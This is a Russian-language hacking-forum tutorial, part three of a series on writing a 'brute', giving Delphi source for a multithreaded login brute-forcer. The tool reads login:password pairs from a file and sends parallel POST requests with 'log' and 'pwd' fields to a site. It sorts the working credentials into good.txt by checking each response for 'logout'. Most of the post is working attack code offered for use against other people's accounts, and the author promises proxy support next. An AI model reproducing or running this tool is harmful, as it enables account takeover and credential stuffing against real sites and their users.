• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Пишем Брут. Часть 3. Многопоточный Брут

Sascha Оффлайн

Sascha

Заместитель Администратора
Команда форума
Администратор
Регистрация
9 Май 2015
Сообщения
1,562
Баллы
155
Продолжаем реализацию брутфорса. Сегодня рассмотрим то, за что меня так ругали на hpc, - потоки :) Но всему своё время, так что сегодня эту тему и разберём.

Поехали.

Известно (в статье про многопоточность описал это очень подробно), что у потока есть процедура Execute, процедура вызова потока. Всё что в ней описано выполняется при старте потока (напомню что это метод .Create(true/false) ). Что бы создать определённое количество потоков, достаточно создать обычный цикл for to do, и прописать в нём вызов процедуры Execute. При том надо понимать, что бы в процедуре действие не было статичным, надо сделать так, что бы с каждым новым вызовом (с каждым новым проходом цикла) внутри потока действие тоже менялось.
В нашем случае надо что бы с каждым новым стартом потока в нём в POST запрос подставлялись всё новые и новые логины и пароли.

А теперь что бы понять схему работы нашего будущего приложения попробуем всё представить:
по нажатию на кнопку Brute, программа должна начать вызывать нужное количество раз потоки (вызвать процедуру Execute у потока). В свою очередь в процедуре Execute должен стоять некий счётчик, который с каждым вызовом процедуры будет менять логин и пароль. Тем самым мы получим много потоков, которые будут параллельно друг-другу посылать POST - запросы на сервер, обрабатывать их и кидать их либо в goodfile, либо в badfile.
Теперь что касается данных файлов. Кто не читал, обязательно прочтите о синхронизации потоков, т.к. её мы тут будем активно использовать, именно с помощью методов Sinchronize и будут происходить все обращения (записывание) к (в) файлам(ы).

Я надеюсь что общий принцип понятен. А если нет, то станет понятен во время работы. Поехали[1].
Первым делом создадим новый проект (дабы не насиловать исходники старого, да и память освежить всегда полезно).
Форма проекта:
!.jpg
На форме у нас несколько меток (Login:Pass, Good, Bad, и 2 счётчика для Good-ов и Bad-ов). Так же компонент UpDown, привязанный к edit1, кнопка открытия файла, кнопка Brute, и memo для записи в него отчётов.
Теперь идём дальше, как обычно сначала обработаем кнопку загрузки файла:
Код:
procedure TForm1.Button1Click(Sender: TObject);
var Op: TOpenDialog;  //Переменная типа TOpenDialog
begin
Op:= TOpenDialog.Create(OpenDialog1);  // инициализируем переменную
Op:= OpenDialog1; //привязываем к компоненту
if Op.Execute then  //Если диалог вызван, то
lp.LoadFromFile(Op.FileName); //В STRINGLIST pl выгружаем данные из файла открытого в диалоге
end;
Надо понимать переменную lp класса tstringlist мы должны создать и инициализировать заранее (инициализация в событии создания формы - OnCreate).

Так, теперь создадим поток:
Код:
type
MyThread = class(TThread)
private  //приватные переменные потока для извлечения логинов и паролей
logPath: string;  //извлечение логина
PasPath: string; //извлечение пароля
res: integer; //переменная результата (результат - или брут успешен, или нет)
public
constructor Create(CreateSuspended: Boolean); //конструктор потока
procedure Synch; // Процедура синхронизации
protected
procedure Execute; override; //процедура Execute
end;
А теперь по-порядку. Приватные переменные созданы для извлечения логина и пароля, а так же для контроля результата. Кто читал первую часть статьи про написание Brute, тот помнит, что логины и пароли мы делили с помощью свойств массива StringList, в частности Delimiter и DelimiterText. Сейчас же, что бы не засорять код и не плодить лишние переменные, будем разделять логины и пароли стандартными строковыми функциями, а ложить результат как раз в эти 2 переменные: logPath и PasPath.

Переменная же res будет служить счётчиком результата. Т.е. если брут прошёл успешно и запрос вернул нам положительный результат, то в переменную res мы положим какое-либо значение, например цифру 1. Если брут не успешен, то цифру -1. В итоге мы обработаем эти значения, и в соответствии с ними предпримем какие-либо действия (например если результат равен 1 - то в файл GOOD.txt будет ложиться логин и пароль).

Теперь что такое конструктор потока? В данном случае у нас конструктор события Create. Это что-то вроде свойства Create у формы, т.е. что мы пропишем в обработчик конструктора, то и выполнится при создании потока.
Сразу его пропишем:
Код:
constructor MyThread.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
end;
Процедура Synch будет служить процедурой синхронизации (вопросы что да нахуя зачем оставь при себе, надо было читать предыдущие статьи. В частности синхронизацию потоков я описывал до этого).

Вроде разобрались с объявление потока. Теперь создадим обработчик события onclick на кнопке Brute! и напишем там следующее:
Код:
//Добавляем глобальные переменные
var
GoodFile, BadFile: textfile;
acc, Thread: integer;
work: Boolean;
//процедура onclick кнопки Brute!:
procedure TForm1.Button2Click(Sender: TObject);
begin
AssignFile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');  //Привязываем переменную GOODFILE к пути проекта+good.txt
Rewrite(GoodFile);  //Записываем GOODFILE
CloseFile(GoodFile);  //Закрываем GOODFILE
AssignFile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');  //аналогично поступаем и с BADFile
Rewrite(BadFile);
CloseFile(BadFile);
acc:= -1;  //Переменная acc - отвечает за текущую строку в StringList'е с логинами и паролями. Ставим ей значение -1, т.к. в последующем она будет
инкриментирована.
work:= true; // work будет проверять, есть ли ещё не проверенные строки в StringList'е и выдавать значение. Если true- то поток продолжает работу. Если False - то прекращает.
label4.Caption:= '0'; //Счётчик Good'ов
label6.Caption:= '0'; //Счётчик Bad'ов
for Thread:=1 to strtoint(edit1.Text) do  //Самый ответственный момент, запускаем потоки. Потоки от одного, до кол-ва введённого пользователем.
  MyThread.Create(false); //запуск.
Thread:= strtoint(Edit1.Text); //в переменную Thread ложится количество потоков введённых пользователем (переменная становится счётчиком потоков)
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
lp:= TStringList.Create;
cs:= TCriticalSection.Create; // об этом позже :)
end;
Теперь ставим курсор на процедуру Execute в потоке, нажимаем Ctrl+Shift+C и переходим на обработчик процедуры.
Там у нас будет обычный POST-запрос с выдранным логином и паролем:
Код:
procedure MyThread.Execute;
var
nast: integer;    //переменная, обрабатывающая действующую строку с логином и паролем
Param: TStringList;   // параметры для POST
Result: TStringList;    //переменная для проверки результата
HTTP: TIdHTTP;   //переменная типа TIDHTTP
begin
  inherited;
while work do     //пока work=true делаем:
  begin
    cs.Enter;     //вход в критическую секцию
    inc(acc);     //инкриментируем переменную acc
    if acc < lp.Count then nast:=acc else work:= false;   //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
    cs.Leave;    //Выход из критической секции
      if work then //если WOrk = true, то
      begin
        HTTP:= TIdHTTP.Create(nil); //инициализация переменной HTTP как объект класса TIdHTTP
        logPath:= Copy(lp[nast],1,pos(':',lp[nast])-1);  //Выдираем логин (ВНИМАНИЕ! Вот это и есть то самое динамическое действие в потоке)
        PasPath:= Copy(lp[nast], pos(':', lp[nast])+1, length(lp[nast])); //Выдираем пароль
        Result:= TStringList.Create; //типичный POST-запрос
        param:= TStringList.Create;
        param.Add('log='+logPath);
        param.Add('pwd='+PasPath);
        Result.Text:= http.Post('сайт',param);
        if pos('logout',Result.Text) <> 0 then res:=1 else res:=-1; //если в массиве Result есть значение 'logout', то res=1, иначе res=-1.
      HTTP.Free; //Освобождаем переменную
      Param.Free; //Освобождаем переменную
      Synchronize(Synch); // Процедура Synch синхронизирована с помощью метода Synchronize
      end;
  end;
dec(Thread); // Уменьшаем количество потоков на 1
if Thread=0 then ShowMessage('брутфорс закончен'); // если количество потоков = 0 тогда вызываем сообщение
end;
А теперь рассмотрим то, "о чём позже" - критические секции. Тебя наверное заинтересовал этот код:
Код:
cs.Enter;     //вход в критическую секцию
inc(acc);     //инкриментируем переменную acc
if acc < lp.Count then nast:=acc else work:= false;   //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
cs.Leave;    //Выход из критической секции
Объясняю. При работе с потоками, когда работают параллельно несколько потоков, и работают они с одними и теми же переменными, обязательно надо использовать критические секции. Это очень полезная вещь, которая к переменной в настоящий момент допускает лишь 1 поток. В нашем случае в критической секции значение переменной acc увеличивается на 1. Но если потоки работают параллельно, и без этих секций, то acc (а эта переменная означает строку в stringlist'е) будет увеличиваться сразу на 1 несколько раз, в итоге потоки сработают неправильно, выдадут не верный результат. А Критическая секция допускает 1 поток, пропускает его через себя, и лишь потом допускает второй. Надеюсь общий принцип понятен. А кому не очень - то курите:

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

и

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Как входить в секцию и как выходить из неё понятно из комментариев. Далее у нас идёт типичный POST - запрос. Вроде бы всё. А нет, ещё процедура Synch:
Код:
procedure MyThread.Synch;
begin
case res of // если res =
1: begin // 1, то:
    form1.Label4.Caption:= inttostr(strtoint(form1.Label4.Caption)+1);
    Append(GoodFile); // открываем для записи файл GoodFile
    WriteLn(GoodFile, logpath+':'+paspath); // Записываем в него логин : пароль
    closefile(GoodFile); // закрываем
   end;
-1: begin
    form1.Label6.Caption:= inttostr(strtoint(form1.Label6.Caption)+1);
    Append(BadFile); // аналогично
    WriteLn(BadFile, logpath+':'+paspath);
    closefile(BadFile);
   end;
end;
end;
Если ты до сих пор не понял это странное слово Synchronize, то ещё раз повторю, что наверху ссылки на статьи где всё это описано.

В принципе и всё, работа многопоточного брута показана. В данном случае показан самый просто пример. Если будет интерес, сделаю ещё 2-3 части, про прокси и про оптимизацию.
Спасибо за внимание.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

< ..........>

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.


 
Вверх Снизу